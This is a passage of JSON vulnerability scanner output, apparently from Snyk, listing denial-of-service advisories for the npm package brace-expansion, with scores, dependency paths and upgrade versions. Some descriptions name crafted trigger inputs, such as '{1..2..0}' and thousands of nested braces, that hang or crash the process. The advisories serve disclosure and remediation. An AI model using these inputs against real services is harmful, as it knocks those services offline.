"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
